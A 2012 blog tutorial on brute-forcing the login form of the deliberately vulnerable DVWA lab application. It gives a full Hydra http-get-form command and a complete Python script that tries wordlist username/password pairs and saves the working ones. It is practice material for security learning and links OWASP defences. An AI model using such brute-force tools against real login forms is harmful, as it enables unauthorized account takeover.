Thursday, August 30, 2012

Bruteforce HTTP form with Hydra and Python


I had a free time to write my first tutorial. I'm going to be your guide to bruteforce  the simple login http form via hydra and python. For example, I chose the most popular of web hacking platform - damn vulnerable web application(DVWA). DVWA was included into OWASP Broken Web Applications Project and I will tell you below about it this time. I'm sure you have heard about these applications earlier and you will have no problem installing it.

Let's test the login form with a random login information. On giving wrong credentials, the login system shows us the error Username and/or password incorrect.


As we can see the URL in address bar changes to http://10.10.1.10/dvwa/vulnerabilities/brute/?username=test&password=test&Login=Login#.
The URL suggests us that form is using the GET method and hence our credentials are part of querystring on the URL.  It's very easy and you will unlikely find that in the real world. Remember, that GET and POST requests are quite similar and if you know how it works with GET you don't have problem understanding how to change your requests for POST.


I used Burp Suite to check the credentials and find the form parameters:

There are several tools on the internet for form bruteforce but we will consider the most popular of them - hydra. You can use Hydra to bruteforce a lot of services but now we will focus on http-get-form.
For that we need to know some of the parameters such as Hostname, Full path to the http form, form parameters and headers, and differencies between access and deny.
When we try to use random credentials for login we receive all of that we need to know:
Hostname: 10.10.1.10 (I used in my Virtual machine)
Fullpath to the form: "/dvwa/vulnerabilities/brute/index.php"
Form parameters with difference between access deny: username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=k73vfi85vvna3mchopebmcgc43"

And the full syntax for hydra is:

hydra -L users.txt -P pass.txt -e nsr 10.10.1.10 http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=k73vfi85vvna3mchopebmcgc43"

where users.txt and pass.txt are the wordlists with our testing parameters.

Well done.
Bruteforcing might take a lot longer time than expected so you remember the more the longer your wordlists more time to brute.

Ok. Good.

This time is a good idea to write our own tool for bruteforcing form with python.
Writing a bruteforcer is not a very difficult task but I expect you know one of the programming languages.
Our tool takes two files with credentials as parameters, bruteforce pairs login:password, returns successful and unsuccessful attempts and writes "succesful" into a new file.
First of all we need to check these parameters and return error with correct syntax if one of these is missing.

#!/usr/bin/python
import os,sys,urllib2
#Check parameters
if len(sys.argv) != 3:
    sys.stderr.write('Usage: ' + sys.argv[0] + ' userlist passwordlist\n')
    sys.exit(1)

if not os.path.exists(sys.argv[1]):
    sys.stderr.write('userlist was not found\n')
    sys.exit(1)

if not os.path.exists(sys.argv[2]):
    sys.stderr.write('passwordlist was not found\n')
    sys.exit(1)

else:
    print "Loading your lists..."

Ok. Parameters were taken. Then we need to open and read our wordlists and split to words:

#Read and split userfile
    userfile = open(sys.argv[1], "r")
    users = userfile.read().split("\n")

    userfile.close()
#Read and split passfile
    passfile = open(sys.argv[2], "r")
    passwords = passfile.read().split("\n")

    passfile.close()

The code is not intended to be a good example. I know that we can declare a function and use readlines() to retrieve data here but for learning purpose it's more clear.

Then we write a simple loop which takes each pair of user:password from our wordlists and make the requests to our form:

#Take parameters and make requests
    for user in users:
        for password in passwords:
            print "Trying  %s : %s" % (user, password)
            url = "http://10.10.1.10/dvwa/vulnerabilities/brute/index.php?username=%s&password=%s&Login=Login" %(user, password)
            req = urllib2.Request(url)
            req.add_header("Cookie", "security=low; PHPSESSID=k73vfi85vvna3mchopebmcgc43")
            response = urllib2.urlopen(req)
            html = response.read()

Also we know the unsuccesful error from our form and we need to check the responses for the same error. If we haven't got this error in our response our attempt was accepted and the combination is correct. Succesful pair will write into new file done.txt.

            if "Username and/or password incorrect." not in html:
                print "Login : Password are %s : %s" %(user, password)
                pas = open('done.txt','a')
                pas.write('%s : %s \n' %(user,password))
                pas.close()

That's it. The whole script is:


#!/usr/bin/python
import os,sys,urllib2
#Check parameters
if len(sys.argv) != 3:
    sys.stderr.write('Usage: ' + sys.argv[0]+ ' userlist passwordlist\n')
    sys.exit(1)

if not os.path.exists(sys.argv[1]):
    sys.stderr.write('userlist was not found\n')
    sys.exit(1)

if not os.path.exists(sys.argv[2]):
    sys.stderr.write('passwordlist was not found\n')
    sys.exit(1)

else:
    print "Loading your lists..."
#Read and split userfile
    userfile = open(sys.argv[1], "r")
    users = userfile.read().split("\n")

    userfile.close()
#Read and split passfile
    passfile = open(sys.argv[2], "r")
    passwords = passfile.read().split("\n")

    passfile.close()
#Take the parameters and make requests
    for user in users:
        for password in passwords:
            print "Trying  %s : %s" % (user, password)
            url = "http://10.10.1.10/dvwa/vulnerabilities/brute/index.php?username=%s&password=%s&Login=Login" %(user, password)
            req = urllib2.Request(url)
            req.add_header("Cookie", "security=low; PHPSESSID=k73vfi85vvna3mchopebmcgc43")
            response = urllib2.urlopen(req)
            html = response.read()
#Print and write into a file succesful attempts
            if "Username and/or password incorrect." not in html:
                print "Login : Password are  %s : %s" %(user, password)
                pas = open('done.txt','a')
                pas.write('%s : %s \n' %(user,password))
                pas.close()

Lets check it:
Working well, we found the credentials that you can discover in file done.txt.

This is just a very basic example on how you could bruteforce the HTTP forms but very often the web forms contain CAPTCHA, different cookies, time delay,ip and account lockouts. For prevent bruteforce you can also read https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks.
Also you can try to practice your knowledge on web-lab http://consolecowboys.org/webLab/userEnum1.php and others boot 2 root distro http://boot2root.info/. 

All of the materials were present for learning purposes only.

1 comment:

  1. A good start, good tutorial and I wish you good continuation...

    ReplyDelete